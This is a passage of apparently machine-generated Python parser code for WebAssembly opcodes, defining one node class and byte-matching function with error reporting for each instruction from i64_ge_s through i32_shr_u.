value 0x58' ) raise ParseError((title + details), _pos, line, col) class i64_ge_s(Node): """ class i64_ge_s { let id: 0x59 } """ _fields = () id = 0x59 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_ge_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_ge_s, fullparse) def _try_i64_ge_s(_text, _pos): # Begin Seq start_pos119 = _pos while True: # Begin Byte # 0x59 if (_pos < len(_text)) and (_text[_pos] == 89): _result = 89 _pos = (_pos + 1) _status = True else: _result = _raise_error1272 _status = False # End Byte if not (_status): break id = _result _result = i64_ge_s() _result._metadata.position_info = (start_pos119, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1272(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_ge_s' rule, at the expression:\n" ' 0x59\n\n' 'Expected to match the byte value 0x59' ) raise ParseError((title + details), _pos, line, col) class i64_ge_u(Node): """ class i64_ge_u { let id: 0x5a } """ _fields = () id = 0x5a def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_ge_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_ge_u, fullparse) def _try_i64_ge_u(_text, _pos): # Begin Seq start_pos120 = _pos while True: # Begin Byte # 0x5a if (_pos < len(_text)) and (_text[_pos] == 90): _result = 90 _pos = (_pos + 1) _status = True else: _result = _raise_error1276 _status = False # End Byte if not (_status): break id = _result _result = i64_ge_u() _result._metadata.position_info = (start_pos120, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1276(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_ge_u' rule, at the expression:\n" ' 0x5a\n\n' 'Expected to match the byte value 0x5a' ) raise ParseError((title + details), _pos, line, col) class f32_eq(Node): """ class f32_eq { let id: 0x5b } """ _fields = () id = 0x5b def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_eq()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_eq, fullparse) def _try_f32_eq(_text, _pos): # Begin Seq start_pos121 = _pos while True: # Begin Byte # 0x5b if (_pos < len(_text)) and (_text[_pos] == 91): _result = 91 _pos = (_pos + 1) _status = True else: _result = _raise_error1280 _status = False # End Byte if not (_status): break id = _result _result = f32_eq() _result._metadata.position_info = (start_pos121, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1280(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_eq' rule, at the expression:\n" ' 0x5b\n\n' 'Expected to match the byte value 0x5b' ) raise ParseError((title + details), _pos, line, col) class f32_ne(Node): """ class f32_ne { let id: 0x5c } """ _fields = () id = 0x5c def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_ne()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_ne, fullparse) def _try_f32_ne(_text, _pos): # Begin Seq start_pos122 = _pos while True: # Begin Byte # 0x5c if (_pos < len(_text)) and (_text[_pos] == 92): _result = 92 _pos = (_pos + 1) _status = True else: _result = _raise_error1284 _status = False # End Byte if not (_status): break id = _result _result = f32_ne() _result._metadata.position_info = (start_pos122, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1284(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_ne' rule, at the expression:\n" ' 0x5c\n\n' 'Expected to match the byte value 0x5c' ) raise ParseError((title + details), _pos, line, col) class f32_lt(Node): """ class f32_lt { let id: 0x5d } """ _fields = () id = 0x5d def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_lt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_lt, fullparse) def _try_f32_lt(_text, _pos): # Begin Seq start_pos123 = _pos while True: # Begin Byte # 0x5d if (_pos < len(_text)) and (_text[_pos] == 93): _result = 93 _pos = (_pos + 1) _status = True else: _result = _raise_error1288 _status = False # End Byte if not (_status): break id = _result _result = f32_lt() _result._metadata.position_info = (start_pos123, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1288(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_lt' rule, at the expression:\n" ' 0x5d\n\n' 'Expected to match the byte value 0x5d' ) raise ParseError((title + details), _pos, line, col) class f32_gt(Node): """ class f32_gt { let id: 0x5e } """ _fields = () id = 0x5e def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_gt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_gt, fullparse) def _try_f32_gt(_text, _pos): # Begin Seq start_pos124 = _pos while True: # Begin Byte # 0x5e if (_pos < len(_text)) and (_text[_pos] == 94): _result = 94 _pos = (_pos + 1) _status = True else: _result = _raise_error1292 _status = False # End Byte if not (_status): break id = _result _result = f32_gt() _result._metadata.position_info = (start_pos124, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1292(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_gt' rule, at the expression:\n" ' 0x5e\n\n' 'Expected to match the byte value 0x5e' ) raise ParseError((title + details), _pos, line, col) class f32_le(Node): """ class f32_le { let id: 0x5f } """ _fields = () id = 0x5f def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_le()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_le, fullparse) def _try_f32_le(_text, _pos): # Begin Seq start_pos125 = _pos while True: # Begin Byte # 0x5f if (_pos < len(_text)) and (_text[_pos] == 95): _result = 95 _pos = (_pos + 1) _status = True else: _result = _raise_error1296 _status = False # End Byte if not (_status): break id = _result _result = f32_le() _result._metadata.position_info = (start_pos125, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1296(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_le' rule, at the expression:\n" ' 0x5f\n\n' 'Expected to match the byte value 0x5f' ) raise ParseError((title + details), _pos, line, col) class f32_ge(Node): """ class f32_ge { let id: 0x60 } """ _fields = () id = 0x60 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_ge()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_ge, fullparse) def _try_f32_ge(_text, _pos): # Begin Seq start_pos126 = _pos while True: # Begin Byte # 0x60 if (_pos < len(_text)) and (_text[_pos] == 96): _result = 96 _pos = (_pos + 1) _status = True else: _result = _raise_error1300 _status = False # End Byte if not (_status): break id = _result _result = f32_ge() _result._metadata.position_info = (start_pos126, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1300(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_ge' rule, at the expression:\n" ' 0x60\n\n' 'Expected to match the byte value 0x60' ) raise ParseError((title + details), _pos, line, col) class f64_eq(Node): """ class f64_eq { let id: 0x61 } """ _fields = () id = 0x61 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_eq()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_eq, fullparse) def _try_f64_eq(_text, _pos): # Begin Seq start_pos127 = _pos while True: # Begin Byte # 0x61 if (_pos < len(_text)) and (_text[_pos] == 97): _result = 97 _pos = (_pos + 1) _status = True else: _result = _raise_error1304 _status = False # End Byte if not (_status): break id = _result _result = f64_eq() _result._metadata.position_info = (start_pos127, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1304(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_eq' rule, at the expression:\n" ' 0x61\n\n' 'Expected to match the byte value 0x61' ) raise ParseError((title + details), _pos, line, col) class f64_ne(Node): """ class f64_ne { let id: 0x62 } """ _fields = () id = 0x62 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_ne()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_ne, fullparse) def _try_f64_ne(_text, _pos): # Begin Seq start_pos128 = _pos while True: # Begin Byte # 0x62 if (_pos < len(_text)) and (_text[_pos] == 98): _result = 98 _pos = (_pos + 1) _status = True else: _result = _raise_error1308 _status = False # End Byte if not (_status): break id = _result _result = f64_ne() _result._metadata.position_info = (start_pos128, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1308(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_ne' rule, at the expression:\n" ' 0x62\n\n' 'Expected to match the byte value 0x62' ) raise ParseError((title + details), _pos, line, col) class f64_lt(Node): """ class f64_lt { let id: 0x63 } """ _fields = () id = 0x63 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_lt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_lt, fullparse) def _try_f64_lt(_text, _pos): # Begin Seq start_pos129 = _pos while True: # Begin Byte # 0x63 if (_pos < len(_text)) and (_text[_pos] == 99): _result = 99 _pos = (_pos + 1) _status = True else: _result = _raise_error1312 _status = False # End Byte if not (_status): break id = _result _result = f64_lt() _result._metadata.position_info = (start_pos129, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1312(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_lt' rule, at the expression:\n" ' 0x63\n\n' 'Expected to match the byte value 0x63' ) raise ParseError((title + details), _pos, line, col) class f64_gt(Node): """ class f64_gt { let id: 0x64 } """ _fields = () id = 0x64 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_gt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_gt, fullparse) def _try_f64_gt(_text, _pos): # Begin Seq start_pos130 = _pos while True: # Begin Byte # 0x64 if (_pos < len(_text)) and (_text[_pos] == 100): _result = 100 _pos = (_pos + 1) _status = True else: _result = _raise_error1316 _status = False # End Byte if not (_status): break id = _result _result = f64_gt() _result._metadata.position_info = (start_pos130, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1316(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_gt' rule, at the expression:\n" ' 0x64\n\n' 'Expected to match the byte value 0x64' ) raise ParseError((title + details), _pos, line, col) class f64_le(Node): """ class f64_le { let id: 0x65 } """ _fields = () id = 0x65 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_le()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_le, fullparse) def _try_f64_le(_text, _pos): # Begin Seq start_pos131 = _pos while True: # Begin Byte # 0x65 if (_pos < len(_text)) and (_text[_pos] == 101): _result = 101 _pos = (_pos + 1) _status = True else: _result = _raise_error1320 _status = False # End Byte if not (_status): break id = _result _result = f64_le() _result._metadata.position_info = (start_pos131, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1320(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_le' rule, at the expression:\n" ' 0x65\n\n' 'Expected to match the byte value 0x65' ) raise ParseError((title + details), _pos, line, col) class f64_ge(Node): """ class f64_ge { let id: 0x66 } """ _fields = () id = 0x66 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_ge()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_ge, fullparse) def _try_f64_ge(_text, _pos): # Begin Seq start_pos132 = _pos while True: # Begin Byte # 0x66 if (_pos < len(_text)) and (_text[_pos] == 102): _result = 102 _pos = (_pos + 1) _status = True else: _result = _raise_error1324 _status = False # End Byte if not (_status): break id = _result _result = f64_ge() _result._metadata.position_info = (start_pos132, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1324(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_ge' rule, at the expression:\n" ' 0x66\n\n' 'Expected to match the byte value 0x66' ) raise ParseError((title + details), _pos, line, col) class i32_clz(Node): """ class i32_clz { let id: 0x67 } """ _fields = () id = 0x67 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_clz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_clz, fullparse) def _try_i32_clz(_text, _pos): # Begin Seq start_pos133 = _pos while True: # Begin Byte # 0x67 if (_pos < len(_text)) and (_text[_pos] == 103): _result = 103 _pos = (_pos + 1) _status = True else: _result = _raise_error1328 _status = False # End Byte if not (_status): break id = _result _result = i32_clz() _result._metadata.position_info = (start_pos133, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1328(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_clz' rule, at the expression:\n" ' 0x67\n\n' 'Expected to match the byte value 0x67' ) raise ParseError((title + details), _pos, line, col) class i32_ctz(Node): """ class i32_ctz { let id: 0x68 } """ _fields = () id = 0x68 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_ctz()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_ctz, fullparse) def _try_i32_ctz(_text, _pos): # Begin Seq start_pos134 = _pos while True: # Begin Byte # 0x68 if (_pos < len(_text)) and (_text[_pos] == 104): _result = 104 _pos = (_pos + 1) _status = True else: _result = _raise_error1332 _status = False # End Byte if not (_status): break id = _result _result = i32_ctz() _result._metadata.position_info = (start_pos134, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1332(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_ctz' rule, at the expression:\n" ' 0x68\n\n' 'Expected to match the byte value 0x68' ) raise ParseError((title + details), _pos, line, col) class i32_popcnt(Node): """ class i32_popcnt { let id: 0x69 } """ _fields = () id = 0x69 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_popcnt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_popcnt, fullparse) def _try_i32_popcnt(_text, _pos): # Begin Seq start_pos135 = _pos while True: # Begin Byte # 0x69 if (_pos < len(_text)) and (_text[_pos] == 105): _result = 105 _pos = (_pos + 1) _status = True else: _result = _raise_error1336 _status = False # End Byte if not (_status): break id = _result _result = i32_popcnt() _result._metadata.position_info = (start_pos135, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1336(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_popcnt' rule, at the expression:\n" ' 0x69\n\n' 'Expected to match the byte value 0x69' ) raise ParseError((title + details), _pos, line, col) class i32_add(Node): """ class i32_add { let id: 0x6a } """ _fields = () id = 0x6a def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_add()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_add, fullparse) def _try_i32_add(_text, _pos): # Begin Seq start_pos136 = _pos while True: # Begin Byte # 0x6a if (_pos < len(_text)) and (_text[_pos] == 106): _result = 106 _pos = (_pos + 1) _status = True else: _result = _raise_error1340 _status = False # End Byte if not (_status): break id = _result _result = i32_add() _result._metadata.position_info = (start_pos136, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1340(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_add' rule, at the expression:\n" ' 0x6a\n\n' 'Expected to match the byte value 0x6a' ) raise ParseError((title + details), _pos, line, col) class i32_sub(Node): """ class i32_sub { let id: 0x6b } """ _fields = () id = 0x6b def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_sub()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_sub, fullparse) def _try_i32_sub(_text, _pos): # Begin Seq start_pos137 = _pos while True: # Begin Byte # 0x6b if (_pos < len(_text)) and (_text[_pos] == 107): _result = 107 _pos = (_pos + 1) _status = True else: _result = _raise_error1344 _status = False # End Byte if not (_status): break id = _result _result = i32_sub() _result._metadata.position_info = (start_pos137, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1344(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_sub' rule, at the expression:\n" ' 0x6b\n\n' 'Expected to match the byte value 0x6b' ) raise ParseError((title + details), _pos, line, col) class i32_mul(Node): """ class i32_mul { let id: 0x6c } """ _fields = () id = 0x6c def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_mul()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_mul, fullparse) def _try_i32_mul(_text, _pos): # Begin Seq start_pos138 = _pos while True: # Begin Byte # 0x6c if (_pos < len(_text)) and (_text[_pos] == 108): _result = 108 _pos = (_pos + 1) _status = True else: _result = _raise_error1348 _status = False # End Byte if not (_status): break id = _result _result = i32_mul() _result._metadata.position_info = (start_pos138, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1348(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_mul' rule, at the expression:\n" ' 0x6c\n\n' 'Expected to match the byte value 0x6c' ) raise ParseError((title + details), _pos, line, col) class i32_div_s(Node): """ class i32_div_s { let id: 0x6d } """ _fields = () id = 0x6d def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_div_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_div_s, fullparse) def _try_i32_div_s(_text, _pos): # Begin Seq start_pos139 = _pos while True: # Begin Byte # 0x6d if (_pos < len(_text)) and (_text[_pos] == 109): _result = 109 _pos = (_pos + 1) _status = True else: _result = _raise_error1352 _status = False # End Byte if not (_status): break id = _result _result = i32_div_s() _result._metadata.position_info = (start_pos139, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1352(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_div_s' rule, at the expression:\n" ' 0x6d\n\n' 'Expected to match the byte value 0x6d' ) raise ParseError((title + details), _pos, line, col) class i32_div_u(Node): """ class i32_div_u { let id: 0x6e } """ _fields = () id = 0x6e def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_div_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_div_u, fullparse) def _try_i32_div_u(_text, _pos): # Begin Seq start_pos140 = _pos while True: # Begin Byte # 0x6e if (_pos < len(_text)) and (_text[_pos] == 110): _result = 110 _pos = (_pos + 1) _status = True else: _result = _raise_error1356 _status = False # End Byte if not (_status): break id = _result _result = i32_div_u() _result._metadata.position_info = (start_pos140, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1356(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_div_u' rule, at the expression:\n" ' 0x6e\n\n' 'Expected to match the byte value 0x6e' ) raise ParseError((title + details), _pos, line, col) class i32_rem_s(Node): """ class i32_rem_s { let id: 0x6f } """ _fields = () id = 0x6f def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_rem_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_rem_s, fullparse) def _try_i32_rem_s(_text, _pos): # Begin Seq start_pos141 = _pos while True: # Begin Byte # 0x6f if (_pos < len(_text)) and (_text[_pos] == 111): _result = 111 _pos = (_pos + 1) _status = True else: _result = _raise_error1360 _status = False # End Byte if not (_status): break id = _result _result = i32_rem_s() _result._metadata.position_info = (start_pos141, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1360(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_rem_s' rule, at the expression:\n" ' 0x6f\n\n' 'Expected to match the byte value 0x6f' ) raise ParseError((title + details), _pos, line, col) class i32_rem_u(Node): """ class i32_rem_u { let id: 0x70 } """ _fields = () id = 0x70 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_rem_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_rem_u, fullparse) def _try_i32_rem_u(_text, _pos): # Begin Seq start_pos142 = _pos while True: # Begin Byte # 0x70 if (_pos < len(_text)) and (_text[_pos] == 112): _result = 112 _pos = (_pos + 1) _status = True else: _result = _raise_error1364 _status = False # End Byte if not (_status): break id = _result _result = i32_rem_u() _result._metadata.position_info = (start_pos142, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1364(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_rem_u' rule, at the expression:\n" ' 0x70\n\n' 'Expected to match the byte value 0x70' ) raise ParseError((title + details), _pos, line, col) class i32_and(Node): """ class i32_and { let id: 0x71 } """ _fields = () id = 0x71 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_and()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_and, fullparse) def _try_i32_and(_text, _pos): # Begin Seq start_pos143 = _pos while True: # Begin Byte # 0x71 if (_pos < len(_text)) and (_text[_pos] == 113): _result = 113 _pos = (_pos + 1) _status = True else: _result = _raise_error1368 _status = False # End Byte if not (_status): break id = _result _result = i32_and() _result._metadata.position_info = (start_pos143, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1368(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_and' rule, at the expression:\n" ' 0x71\n\n' 'Expected to match the byte value 0x71' ) raise ParseError((title + details), _pos, line, col) class i32_or(Node): """ class i32_or { let id: 0x72 } """ _fields = () id = 0x72 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_or()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_or, fullparse) def _try_i32_or(_text, _pos): # Begin Seq start_pos144 = _pos while True: # Begin Byte # 0x72 if (_pos < len(_text)) and (_text[_pos] == 114): _result = 114 _pos = (_pos + 1) _status = True else: _result = _raise_error1372 _status = False # End Byte if not (_status): break id = _result _result = i32_or() _result._metadata.position_info = (start_pos144, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1372(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_or' rule, at the expression:\n" ' 0x72\n\n' 'Expected to match the byte value 0x72' ) raise ParseError((title + details), _pos, line, col) class i32_xor(Node): """ class i32_xor { let id: 0x73 } """ _fields = () id = 0x73 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_xor()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_xor, fullparse) def _try_i32_xor(_text, _pos): # Begin Seq start_pos145 = _pos while True: # Begin Byte # 0x73 if (_pos < len(_text)) and (_text[_pos] == 115): _result = 115 _pos = (_pos + 1) _status = True else: _result = _raise_error1376 _status = False # End Byte if not (_status): break id = _result _result = i32_xor() _result._metadata.position_info = (start_pos145, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1376(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_xor' rule, at the expression:\n" ' 0x73\n\n' 'Expected to match the byte value 0x73' ) raise ParseError((title + details), _pos, line, col) class i32_shl(Node): """ class i32_shl { let id: 0x74 } """ _fields = () id = 0x74 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_shl()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_shl, fullparse) def _try_i32_shl(_text, _pos): # Begin Seq start_pos146 = _pos while True: # Begin Byte # 0x74 if (_pos < len(_text)) and (_text[_pos] == 116): _result = 116 _pos = (_pos + 1) _status = True else: _result = _raise_error1380 _status = False # End Byte if not (_status): break id = _result _result = i32_shl() _result._metadata.position_info = (start_pos146, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1380(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_shl' rule, at the expression:\n" ' 0x74\n\n' 'Expected to match the byte value 0x74' ) raise ParseError((title + details), _pos, line, col) class i32_shr_s(Node): """ class i32_shr_s { let id: 0x75 } """ _fields = () id = 0x75 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_shr_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_shr_s, fullparse) def _try_i32_shr_s(_text, _pos): # Begin Seq start_pos147 = _pos while True: # Begin Byte # 0x75 if (_pos < len(_text)) and (_text[_pos] == 117): _result = 117 _pos = (_pos + 1) _status = True else: _result = _raise_error1384 _status = False # End Byte if not (_status): break id = _result _result = i32_shr_s() _result._metadata.position_info = (start_pos147, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1384(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_shr_s' rule, at the expression:\n" ' 0x75\n\n' 'Expected to match the byte value 0x75' ) raise ParseError((title + details), _pos, line, col) class i32_shr_u(Node): """ class i32_shr_u { let id: 0x76 } """ _fields = () id = 0x76 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_shr_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_shr_u, fullparse) def _try_i32_shr_u(_text, _pos): # Begin Seq start_pos148 = _pos while True: # Begin Byte # 0x76 if (_pos < len(_text)) and (_text[_pos] 